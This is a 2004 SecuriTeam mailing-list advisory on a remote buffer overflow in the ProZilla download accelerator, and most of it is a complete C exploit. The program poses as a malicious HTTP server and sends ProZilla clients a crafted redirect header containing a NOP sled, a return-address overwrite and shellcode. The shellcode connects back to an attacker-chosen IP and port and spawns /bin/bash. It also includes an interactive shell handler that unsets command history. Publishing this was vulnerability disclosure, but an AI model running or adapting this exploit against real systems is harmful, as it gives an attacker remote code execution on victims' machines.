[EXPL] Remote Buffer Overflow in Prozilla

From: SecuriTeam (support_at_securiteam.com)
Date: 11/29/04

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    To: list@securiteam.com
    Date: 29 Nov 2004 10:50:43 +0200
    
    

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      Remote Buffer Overflow in Prozilla
    ------------------------------------------------------------------------

    SUMMARY

     <http://prozilla.genesys.ro/> ProZilla is a download accelerator for
    Linux. ProZilla contains several buffer overflow vulnerabilities that can
    be exploited by a malicious server to execute arbitrary code with the
    rights of the user running ProZilla.

    DETAILS

    Vulnerable Systems:
     * Prozilla Version 1.3.6-r2 and Prior

    Exploit Code:
    //proz_ex.c
    /* 20/10/2004
    ** This is a private work of Serkan Akpolat deicide@siyahsapka.org
    ** for the unpublished prozilla-1.3.6 format string/buffer overflow
    ** vulnerability , though this version only exploits the stack overflow.
    ** Tested against current gentoo/slack/debian/suse with success. :P
    ** Client side: proz hostname:port/anyfile.name
    ** Default listen port is 8080
    ** Homepage: www.siyahsapka.org || deicide.siyahsapka.org
    **/

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <signal.h>
    #define PORT 8080
    #define MAX_RESPONSE 2048
    #define TRUE 1

    char packet_start[]=\
    "HTTP/1.1 302 Found\r\n"
    "Location: http://";

    char packet_end[]=\
    "\r\n"
    "Content-Encoding: gzip\r\n"
    "Content-Type: text/html; charset=iso-8859-1\r\n"
    "Connection: close\r\n\r\n";

    /* Shellcode with no control character.
    ** Nop's in the shellcode will be patched for attacker defined ip port
    ** at runtime.
    */
    char real_response[]=\
    "HTTP/1.1 302 Found\r\n"
    "Location: http://blahblahblah.com/movie.wmv\r\n"
    "Content-Encoding: gzip\r\n"
    "Content-Type: text/html; charset=iso-8859-1\r\n"
    "Connection: close\r\n\r\n";

    unsigned char shellcode[] = {
      /* write(1,"\n\n\n\n",4) 0x31 times */
      0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
      0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
      0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
      0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
      /* write(1,"\n\n\nEnd of file while parsing header",38);*/
      0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
      0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
      0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
      0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
      0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
      0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
      /* fork(); */
      0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
      /* If we are parent exit(?) */
      0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
      0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
      0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
      0xfe, 0xc0, 0x43, 0xcd, 0x80,
      /* setsid() */
      0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
      /* signal(SIGHUP,SIG_IGN) */
      0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
      /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
      0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
      0x80,
      /* i = connect(sock, sockaddr, 16) */
      0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
      0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
      0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
      0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
      0x4c, 0xb0, 0x66, 0xcd, 0x80,
      /* if (i != 0) jmp exit(?) */
      0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
      /* write(sd,"SSSS",4) */
      0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
      0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
      /* dup2 loop */
      0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
      0x3f, 0xcd, 0x80,
      /* execve("/bin/bash",{"bash",NULL} , NULL) */
      0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
      0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
      0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
      0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
      0x40, 0xcd, 0x80,
      /* exit(?); */
      0x31, 0xc0, 0x40, 0xcd, 0x80
    };

    void usage(char *progname)
    {
        fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
        "-c <ip address> connectback ip address\n"\
        "-p <port> connectback port (default = 8080)\n", progname);
        exit(1);
    }

    /* Interactive shell session */
    void shell(int sock)
    {
        /* from sambal.c, hey eSDee ;) */
        fd_set fd_read;
        char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeeey!
    ***\";uname -a;id;\n";
        int n;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);
        send(sock, cmd, strlen(cmd), 0);
        
            while(1) {
            FD_SET(sock,&fd_read);
            FD_SET(0,&fd_read);
            if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
            if (FD_ISSET(sock, &fd_read)) {
                if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
                    fprintf(stderr, "EOF\n");
                    exit(2);
                }
                if (write(1, buff, n) < 0) break;
            }
            if (FD_ISSET(0, &fd_read)) {
                if((n = read(0, buff, sizeof(buff))) < 0){
                    fprintf(stderr, "EOF\n");
                    exit(2);
                }
                if (send(sock, buff, n, 0) < 0) break;
            }
            usleep(10);
        }
        fprintf(stderr, "Connection lost.\n\n");
        exit(0);
    }

    void put_ip(int i,int j)
    {
        shellcode[j]=i;
    }

    void put_xor(int i,int j,int k)
    {
        shellcode[j+k]=i;
    }

    int find_xor(int a,int b,int c)
    {
        int i=49,j=49;
        for(i=49;i<255;i++) {
            for(j=49;j<255;j++) {
                if(a==(i^j)) {
                    put_ip (i,b);
                    put_xor (j,b,c);
                    b++;
                    return b;
                }
            }
        }
        return -1;
    }

    void check_zombie(int x)
    {
        waitpid(-1,NULL,WNOHANG);
    }

    void send_start(int connection)
    {
        if (send(connection,packet_start,strlen(packet_start),0)==-1) {
            perror("send");
        }
        fprintf(stderr,"[+] Sending Header Start\n");
    }

    void send_nop(int connection)
    {
        int i = 0;
        int j = 1;
        char buffer [1024] ="AA@@";
        char counter [128];
        
        memset(counter ,0x00,128 );
        memset(buffer+3,0x41,1021);
        buffer[1024-1]='\0';

        while(i<96) {
            if (send(connection,buffer,strlen(buffer),0)==-1) {
                perror("send");
            }
            i++;
            if(!(i%4))
                j++;
            memset (counter,0x2b,j);
            memset (counter+j,0x20,26-j);
            fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
            memset(counter,0x00,sizeof(counter));
        }
        
        fprintf(stderr,"\n");
        fprintf(stderr,"[+] Sending Shellcode\n");
        
        if (send(connection,shellcode,strlen(shellcode),0)==-1) {
            perror("send");
        }
        
    }

    void send_hostname(int connection)
    {
        int i = 0;
        char fill_buffer[1600];
        memset(fill_buffer,0x00,1600);
        
        /* We dont care about alignment, return 0x08080808 */
        
        for(;i<400;i++) {
            strcat(fill_buffer , "\x08\x08\x08\x08");
        }
        
        fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
        
        if (send(connection,fill_buffer,1600,0)==-1) {
            perror("send");
        }
    }

    void send_end(int connection)
    {
        fprintf(stderr,"[+] Sending Header End\n");
        if (send(connection,packet_end,strlen(packet_end),0)==-1) {
            perror("send");
        }
    }

    int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in
    *from_addr,int *from_len)
    {
        int control;
        
        if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
            perror("Socket:");
            exit(1);
        }
        
        control_addr->sin_port=htons(PORT);
        control_addr->sin_addr.s_addr=INADDR_ANY;
        control_addr->sin_family=AF_INET;

        if((bind(control,(struct sockaddr
    *)control_addr,sizeof(*control_addr)))!=0) {
            perror("Bind:");
            exit(1);
        }
        if(listen(control,128)!=0) {
            perror("Listen:");
            exit(1);
        }

        *from_len =sizeof(*from_addr);
        signal(SIGCHLD,check_zombie);
        return control;
    }

    int main(int argc,char **argv)
    {
        /* ip patch position */
        int i=194;
        int opt_p=0,opt_c=0;
        int port,porthigh,portlow;
        int c,f;
        int control;
        int connection,from_len;
        int ip1,ip2,ip3,ip4;
        char http_response [2048];
        char client_request[2048];
        struct sockaddr_in *control_addr = (struct sockaddr_in
    *)malloc(sizeof(struct sockaddr_in));
        struct sockaddr_in *from_addr = (struct sockaddr_in
    *)malloc(sizeof(struct sockaddr_in));
        
        while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
                switch (c) {
                    case 'h':
                        usage(argv[0]);
                    case 'c':
                        opt_c=1;
                        sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
                        break;
                    case 'p':
                        opt_p=1;
                        port = atoi(optarg);
                        if ((port <= 0) || (port > 65535)) {
                            fprintf(stderr, "Invalid port.\n\n");
                            exit(1);
                        }
                }
        }
        if(opt_p) {
            porthigh = (port & 0xff00) >> 8;
            portlow = (port & 0x00ff);
        }
        else {
            port = 8080;
            porthigh = (port & 0xff00) >> 8;
            portlow = (port & 0x00ff);
        }
        if(!opt_c) {
            usage(argv[0]);
        }
        memset(http_response,0x0,MAX_RESPONSE);
        control = init_socket(control_addr,from_addr,&from_len);
        
        /* patch ip */
        i = find_xor(ip1,i,6);
        i = find_xor(ip2,i,6);
        i = find_xor(ip3,i,6);
        i = find_xor(ip4,i,6);

        /* patch port */
        i = 207;
        i = find_xor( porthigh,i,5);
        i = find_xor( portlow ,i,5);
        
        
        while(TRUE) {
            if((connection=accept(control,(struct sockaddr
    *)from_addr,&from_len))==-1) {
                exit(1);
            }
            
            fprintf(stderr,"[+] Victim at : %s\n",
    inet_ntoa(from_addr->sin_addr));
            if (read(connection,client_request,sizeof(client_request))==0) {
                exit(1);
            }
            
            /* Victim Responded */
                    if(strstr(client_request,"Prozilla"))
                    {
                            fprintf(stderr,"[+] Victim using Prozilla.\n");
                            f=1;
                    }
                    else {
                            if(strstr(client_request,"SSSS")) {
                        fprintf(stderr,"Nice , Victim Responded!\n");
                    shell(connection);
                            }
                            else {
                                    fprintf(stderr,"[+] Victim is not using
    Prozilla! Sending a normal response.\n");
                                    
    if(send(connection,real_response,strlen(shellcode),0)==-1) {
                                    perror("send");
                                    }
                    }
                    }
                    if(f==1) {
                    /* HTTP */
                    send_start(connection);
                    /* nop sled [nop@] */
                    send_nop(connection);
                    /* Overwrite Saved Ret , return to heap */
                    send_hostname(connection);
                    /* HTTP END */
                    send_end(connection);
                            f=0;
                    }
            close(connection);
            memset(client_request,0x0,sizeof(client_request));

            if (fork()==0) {
                    free(from_addr);
                    free(control_addr);
                    exit(0);
            }
            else {
                close(connection);
            }

        }

        printf("Done");
        return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:sakpolat@gmx.net> Serkan
    Akpolat.

    ========================================

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